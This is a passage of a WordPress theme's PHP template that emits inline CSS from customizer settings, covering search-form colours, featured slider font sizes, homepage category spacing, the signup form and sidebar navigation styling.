            .penci-search-form form input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1;}
            .penci-search-form form input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; opacity: 1; }
            .penci-search-form form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }
            .show-search form.pc-searchform input.search-input,.penci-search-form form input.search-input{ color: <?php echo get_theme_mod( 'penci_main_bar_search_magnify' ); ?>; }

		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_main_bar_close_color' ) ): ?>
            .show-search a.close-search { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .header-search-style-overlay .show-search a.close-search { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .header-search-style-default .pcajx-search-loading.show-search .penci-search-form form button:before {border-left-color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>;}
            .show-search form.pc-searchform input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .show-search form.pc-searchform input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1;}
            .show-search form.pc-searchform input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1; }
            .show-search form.pc-searchform input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .penci-search-form form input.search-input::-webkit-input-placeholder{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .penci-search-form form input.search-input:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1;}
            .penci-search-form form input.search-input::-moz-placeholder {color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; opacity: 1; }
            .penci-search-form form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
            .show-search form.pc-searchform input.search-input,.penci-search-form form input.search-input{ color: <?php echo get_theme_mod( 'penci_main_bar_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_obg_color' ) ): ?>
            .header-search-style-overlay .show-search { background-color: <?php echo get_theme_mod( 'penci_search_obg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_oinput_color' ) ): ?>
            .header-search-style-overlay .show-search form.pc-searchform input.search-input { color: <?php echo get_theme_mod( 'penci_search_oinput_color' ); ?>; }
            .header-search-style-overlay .show-search form.pc-searchform ::placeholder{ color: <?php echo get_theme_mod( 'penci_search_oinput_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_search_obd_color' ) ): ?>
            .header-search-style-overlay .show-search form.pc-searchform .pc-searchform-inner { border-bottom-color: <?php echo get_theme_mod( 'penci_search_obd_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_off_uppercase_title' ) ): ?>
            .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .penci-mag-featured-content h3 a, .pencislider-container .pencislider-content .pencislider-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_lowcase_popular_posts' ) ): ?>
            .penci-home-popular-post .item-related h3 a { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_cat_fsize' ) ): ?>
            .featured-area .cat > a.penci-cat-name { font-size: <?php echo get_theme_mod( 'penci_fslider_cat_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_meta_fsize' ) ): ?>
            .penci-featured-content .feat-text .feat-meta span, .penci-43-slider-item .penci-fslider-fmeta span { font-size: <?php echo get_theme_mod( 'penci_fslider_meta_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_title_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .penci-featured-content .feat-text h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-7 .penci-mag-featured-content h3 a, .featured-style-8 .penci-mag-featured-content h3 a, .featured-style-9 .penci-mag-featured-content h3 a, .featured-style-10 .penci-mag-featured-content h3 a, .featured-style-11 .penci-mag-featured-content h3 a, .featured-style-12 .penci-mag-featured-content h3 a, .featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-29 .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a, .penci-43-slider-item .title-part{ font-size: <?php echo get_theme_mod( 'penci_fslider_title_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_smalltitle_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .penci-mag-featured-content h3 a, .featured-style-13 .penci-mag-featured-content h3 a, .featured-style-15 .penci-mag-featured-content h3 a, .featured-style-18 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a, .pcslider-42-ct h3, .penci-slider41-t-item .pcslider-41-ct h3, .penci-slider44-t-item h3 { font-size: <?php echo get_theme_mod( 'penci_fslider_smalltitle_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_tinytitle_fsize' ) ): ?>
            @media only screen and (min-width: 768px){ .featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a{ font-size: <?php echo get_theme_mod( 'penci_fslider_tinytitle_fsize' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_excerpt_fsize' ) ): ?>
            .featured-style-35 .featured-content-excerpt p,.featured-style-40 .featured-content-excerpt p,.featured-style-41 .featured-content-excerpt p,.featured-style-42 .featured-content-excerpt p,.featured-style-44 .featured-content-excerpt p, .featured-slider-excerpt p, .penci-43-slider-item .featured-slider-excerpt p { font-size: <?php echo get_theme_mod( 'penci_fslider_excerpt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_button_fsize' ) ): ?>
            .featured-style-29 .penci-featured-slider-button a, .featured-style-35 .penci-featured-slider-button a, .featured-style-38 .penci-featured-slider-button a, .featured-style-40 .penci-featured-slider-button a, .featured-style-41 .penci-featured-slider-button a, .featured-style-42 .penci-featured-slider-button a, .featured-style-44 .penci-featured-slider-button a { font-size: <?php echo get_theme_mod( 'penci_fslider_button_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_title_fsize_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-featured-content .feat-text h3 a, .featured-style-4 .penci-featured-content .feat-text h3 a, .featured-style-5 .penci-featured-content .feat-text h3 a, .featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-7 .penci-mag-featured-content h3 a, .featured-style-8 .penci-mag-featured-content h3 a, .featured-style-9 .penci-mag-featured-content h3 a, .featured-style-10 .penci-mag-featured-content h3 a, .featured-style-11 .penci-mag-featured-content h3 a, .featured-style-12 .penci-mag-featured-content h3 a, .featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-15 .penci-mag-featured-content h3 a, .featured-style-15 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-16 .penci-mag-featured-content h3 a, .featured-style-16 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-29 .penci-featured-content .feat-text h3 a, .featured-style-30 .penci-featured-content .feat-text h3 a, .featured-style-35 .feat-text-right h3 a, .featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-38 .penci-featured-content .feat-text h3 a, .penci-43-slider-item .title-part{ font-size: <?php echo get_theme_mod( 'penci_fslider_title_fsize_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_fslider_small_fsize_mobile' ) ): ?>
            @media only screen and (max-width: 479px){ .penci-mag-featured-content h3 a, .featured-style-13 .penci-mag-featured-content h3 a, .featured-style-18 .penci-mag-featured-content h3 a, .featured-style-19 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-21 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a, .featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a, .featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-25 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-2 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-3 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-4 .penci-mag-featured-content h3 a, .featured-style-27 .penci-item-0 .penci-mag-featured-content h3 a, .featured-style-28 .penci-mag-featured-content h3 a{ font-size: <?php echo get_theme_mod( 'penci_fslider_small_fsize_mobile' ); ?>px; } }
		<?php endif; ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-title', 'penci_pslider_title_fsize' ); ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-caption', 'penci_pslider_caption_fsize' ); ?>
		<?php echo penci_renders_css( '.pencislider-container .pencislider-content .pencislider-button', 'penci_pslider_button_fsize' ); ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_margin' ) ):
			$margin_space = get_theme_mod( 'penci_featured_cat_margin' );
			$margin_space       = absint( $margin_space );
			?>
            .home-featured-cat-content, .penci-featured-cat-seemore, .penci-featured-cat-custom-ads, .home-featured-cat-content.style-8 { margin-bottom: <?php echo $margin_space; ?>px; }
            .home-featured-cat-content.style-8 .penci-grid li.list-post:last-child{ margin-bottom: 0; }
            .home-featured-cat-content.style-3, .home-featured-cat-content.style-11{ margin-bottom: <?php echo( $margin_space - 10 ); ?>px; }
            .home-featured-cat-content.style-7{ margin-bottom: <?php echo( $margin_space - 26 ); ?>px; }
            .home-featured-cat-content.style-13{ margin-bottom: <?php echo( $margin_space - 20 ); ?>px; }
            .penci-featured-cat-seemore, .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( $margin_space - 20 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-7, .mag-cat-style-7 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( abs( $margin_space - 26 ) + 4 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-8, .mag-cat-style-8 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( abs( $margin_space - 60 ) - 20 ); ?>px; }
            .penci-featured-cat-seemore.penci-seemore-style-13, .mag-cat-style-13 .penci-featured-cat-custom-ads{ margin-top: <?php echo - ( $margin_space - 20 ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_feacat_rmborder' ) ): ?>
            .home-featured-cat-content .mag-post-box{ border-bottom: none; margin-bottom: 20px; padding-bottom: 0; }
            .home-featured-cat-content.style-2 .mag-post-box.first-post, .home-featured-cat-content.style-10 .mag-post-box.first-post, .home-featured-cat-content.style-8 .penci-grid li.list-post{ padding-bottom: 0; border-bottom: none; }
            .home-featured-cat-content.style-14 .mag-post-box, .home-featured-cat-content.style-14 .mag-post-box{ padding-bottom: 0; margin-bottom: 20px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_imgwidth' ) ): ?>
            .home-featured-cat-content.style-15 .penci-image-holder.small-fix-size, .home-featured-cat-content .penci-image-holder.small-fix-size{ width: <?php echo get_theme_mod( 'penci_featured_cat_imgwidth' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_filter_type' ) != 'tags' && get_theme_mod( 'penci_featured_cat' ) && get_theme_mod( 'penci_featured_cat_hide' ) ):
			$featured_cat_id = get_theme_mod( 'penci_featured_cat' );
			?>
            .widget_categories ul li.cat-item-<?php echo $featured_cat_id; ?>, .widget_categories select option[value="<?php echo $featured_cat_id; ?>"], .widget_tag_cloud .tag-cloud-link.tag-link-<?php echo $featured_cat_id; ?>{ display: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_home_featured_cat_lowcase' ) ): ?>
            .penci-homepage-title.penci-magazine-title h3 a, .penci-border-arrow.penci-homepage-title .inner-arrow { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_size' ) ): ?>
            .penci-homepage-title.penci-magazine-title h3 a, .penci-border-arrow.penci-homepage-title .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_featured_cat_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_cat_size' ) ): ?>
            .home-featured-cat-content .cat > a.penci-cat-name { font-size: <?php echo get_theme_mod( 'penci_featuredcat_cat_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_meta_size' ) ): ?>
            .home-featured-cat-content .grid-post-box-meta, .home-featured-cat-content.style-12 .magcat-detail .mag-meta, .penci-fea-cat-style-13 .grid-post-box-meta, .home-featured-cat-content.style-14 .mag-meta{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_meta_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_excerpt_size' ) ): ?>
            .mag-excerpt p, .mag-excerpt, .home-featured-cat-content .item-content p, .home-featured-cat-content .item-content{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_excerpt_size' ); ?>px; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a, .home-featured-cat-content .penci-grid li .item h2 a, .home-featured-cat-content .mag-photo .magcat-detail h3 a, .home-featured-cat-content .first-post .magcat-detail h3 a', 'penci_featuredcat_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .magcat-detail h3 a', 'penci_featuredcat_smtitle_size' ); ?>
		<?php echo penci_renders_css( '.penci-single-mag-slider .magcat-detail .magcat-titlte', 'penci_featuredcat4_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-detail h3 a, .home-featured-cat-content .penci-grid.penci-fea-cat-style-13 li .item h2 a', 'penci_featuredcat12_title_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a', 'penci_featuredcat14_ftitle_size' ); ?>
		<?php echo penci_renders_css( '.home-featured-cat-content .magcat-detail .magcat-title-small a', 'penci_featuredcat14_title_size' ); ?>
		<?php if ( get_theme_mod( 'penci_featuredcat_viewall_size' ) ): ?>
            .penci-featured-cat-seemore a, .penci-featured-cat-seemore.penci-btn-make-button a{ font-size: <?php echo get_theme_mod( 'penci_featuredcat_viewall_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat_image_8' ) ): ?>
            .penci-homepage-title.style-8 .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_featured_cat_image_8' ); ?>); }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_cat8_repeat' ) ): ?>
            .penci-homepage-title.style-8 .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_featured_cat8_repeat' ); ?>; background-size: auto; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_penci_slider_ratio' ) ): ?>
            .penci-owl-carousel .pencislider-item .penci-image-holder{ height: auto !important; }
            .penci-owl-carousel .pencislider-item .penci-image-holder:before { content: ''; padding-top: <?php echo get_theme_mod( 'penci_featured_penci_slider_ratio' ); ?>%; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_penci_slider_remove_overlay' ) ): ?>
            .pencislider-container .pencislider-content .pencislider-title span, .pencislider-container .pencislider-content .pencislider-caption span{ background: none; padding: 0; }
		<?php endif; ?>
        .penci-header-signup-form { padding-top: <?php echo get_theme_mod( 'penci_header_signup_padding' ); ?>px; padding-bottom: <?php echo get_theme_mod( 'penci_header_signup_padding' ); ?>px; }
		<?php if ( get_theme_mod( 'penci_header_signup_fdesc' ) ): ?>
            .penci-header-signup-form .mc4wp-form-fields > p{ font-size: <?php echo get_theme_mod( 'penci_header_signup_fdesc' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_finput' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"], .penci-header-signup-form .mc4wp-form input[type="date"], .penci-header-signup-form .mc4wp-form input[type="number"]{ font-size: <?php echo get_theme_mod( 'penci_header_signup_finput' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_fsubmit' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { font-size: <?php echo get_theme_mod( 'penci_header_signup_fsubmit' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_bg' ) ): ?>
            .penci-header-signup-form { background-color: <?php echo get_theme_mod( 'penci_header_signup_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_color' ) ): ?>
            .penci-header-signup-form .mc4wp-form, .penci-header-signup-form h4.header-signup-form, .penci-header-signup-form .mc4wp-form-fields > p, .penci-header-signup-form form > p { color: <?php echo get_theme_mod( 'penci_header_signup_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_input_border' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"] { border-color: <?php echo get_theme_mod( 'penci_header_signup_input_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_input_color' ) ): ?>
            .penci-header-signup-form .mc4wp-form input[type="text"], .penci-header-signup-form .mc4wp-form input[type="email"] { color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>; }
            .penci-header-signup-form .mc4wp-form input[type="text"]::-webkit-input-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]::-webkit-input-placeholder{  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]:-moz-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]:-moz-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]::-moz-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]::-moz-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
            .penci-header-signup-form .mc4wp-form input[type="text"]:-ms-input-placeholder, .penci-header-signup-form .mc4wp-form input[type="email"]:-ms-input-placeholder {  color: <?php echo get_theme_mod( 'penci_header_signup_input_color' ); ?>;  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_bg' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { background-color: <?php echo get_theme_mod( 'penci_header_signup_submit_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_color' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"] { color: <?php echo get_theme_mod( 'penci_header_signup_submit_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_bg_hover' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"]:hover { background-color: <?php echo get_theme_mod( 'penci_header_signup_submit_bg_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_signup_submit_color_hover' ) ): ?>
            .penci-header-signup-form .widget input[type="submit"]:hover { color: <?php echo get_theme_mod( 'penci_header_signup_submit_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_social_color' ) ): ?>
            .header-social a i, .main-nav-social a {   color: <?php echo get_theme_mod( 'penci_header_social_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_header_social_color_hover' ) ): ?>
            .header-social a:hover i, .main-nav-social a:hover, .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after {   color: <?php echo get_theme_mod( 'penci_header_social_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_overlay_color' ) ): ?>
            #close-sidebar-nav { background-color: <?php echo get_theme_mod( 'penci_ver_nav_overlay_color' ); ?>; }
            .open-sidebar-nav #close-sidebar-nav { opacity: 0.85; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_close_bg' ) ): ?>
            #close-sidebar-nav i { background-color: <?php echo get_theme_mod( 'penci_ver_nav_close_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_close_color' ) ): ?>
            #close-sidebar-nav i { color: <?php echo get_theme_mod( 'penci_ver_nav_close_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_bg' ) ): ?>
            #sidebar-nav { background: <?php echo get_theme_mod( 'penci_ver_nav_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_searchborder' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input, #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover, #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus { border-color: <?php echo get_theme_mod( 'penci_ver_nav_searchborder' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_textcolor' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
            #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input::placeholder { color: <?php echo get_theme_mod( 'penci_ver_nav_textcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_iconcolor' ) ): ?>
            #sidebar-nav form.pc-searchform.penci-hbg-search-form i { color: <?php echo get_theme_mod( 'penci_ver_nav_iconcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_accent_color' ) ): ?>
            .header-social.sidebar-nav-social a i, #sidebar-nav .menu li a, #sidebar-nav .menu li a .indicator { color: <?php echo get_theme_mod( 'penci_ver_nav_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_accent_hover_color' ) ): ?>
            #sidebar-nav .menu li a:hover, .header-social.sidebar-nav-social a:hover i, #sidebar-nav .menu li a .indicator:hover, #sidebar-nav .menu .sub-menu li a .indicator:hover{ color: <?php echo get_theme_mod( 'penci_ver_nav_accent_hover_color' ); ?>; }
            #sidebar-nav-logo:before{ background-color: <?php echo get_theme_mod( 'penci_ver_nav_accent_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_ver_nav_items_border' ) ): ?>
            #sidebar-nav .menu li, #sidebar-nav ul.sub-menu, #sidebar-nav #logo + ul {   border-color: <?php echo get_theme_mod( 'penci_ver_nav_items_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_height' ) ): ?>
            #penci-featured-video-bg { height: <?php echo get_theme_mod( 'penci_featured_video_height' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_heading_color' ) ): ?>
            h2.penci-heading-video { color: <?php echo get_theme_mod( 'penci_featured_video_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_video_sub_heading_color' ) ): ?>
            p.penci-sub-heading-video { color: <?php echo get_theme_mod( 'penci_featured_video_sub_heading_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_featured_slider_overlay_bg' ) ): ?>
            .penci-slide-overlay .overlay-link {
            background: -moz-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -webkit-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -o-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: -ms-linear-gradient(top, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            background: linear-gradient(to bottom, rgba(255,255,255,0) 60%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 100%);
            }
            .penci-slider4-overlay{
            background: -moz-linear-gradient(left, rgba(255,255,255,0) 26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?> 65%);
            background: -webkit-gradient(linear, left top, right top, color-stop(26%, <?php echo get_theme_mod( 'penci_featured_slider_overlay_bg' ); ?>), color-stop(65%,transparent));
